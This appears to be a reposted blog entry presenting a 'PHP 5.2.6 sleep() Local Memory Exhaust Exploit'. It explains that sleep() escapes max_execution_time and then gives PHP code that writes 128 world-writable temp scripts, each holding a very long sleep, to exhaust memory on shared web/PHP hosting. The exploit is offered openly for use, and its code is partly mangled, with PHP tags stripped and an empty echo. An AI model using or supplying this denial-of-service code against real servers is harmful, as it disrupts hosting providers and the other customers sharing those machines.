PHP 5.2.6 sleep() Local Memory Exhaust Exploit

0 comments
sleep(9999999);
echo 'Hello World';
?>
Will print hello world after 9999999 seconds... so max_execution_time simply dosnt work :P Why? we can find in manual:
"max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside
the execution of the script such as system calls using system(), stream operations, database queries, etc. is not included when determining the maximum time that the script has been running." including sleep() :P We can use this vuln to run out memory on web/php hosting:

if (!file_exists('./temp')) (@mkdir("/temp", 0777))? $temp='temp/':
$temp='';
else $temp='temp/';
for($n=0;$n<128;$n++) {
$rand = mt_rand();
$fp = fopen("$temp$rand.php", 'w+');
fwrite($fp, ' sleep(999999999); ?>');// for 16mb memory limit
fclose($fp);
echo "";
}
?>

Comments

0 comments to "PHP 5.2.6 sleep() Local Memory Exhaust Exploit"

Post a Comment

Related Posts Plugin for WordPress, Blogger...
 

Copyright @ 2013 All Rights Reserved.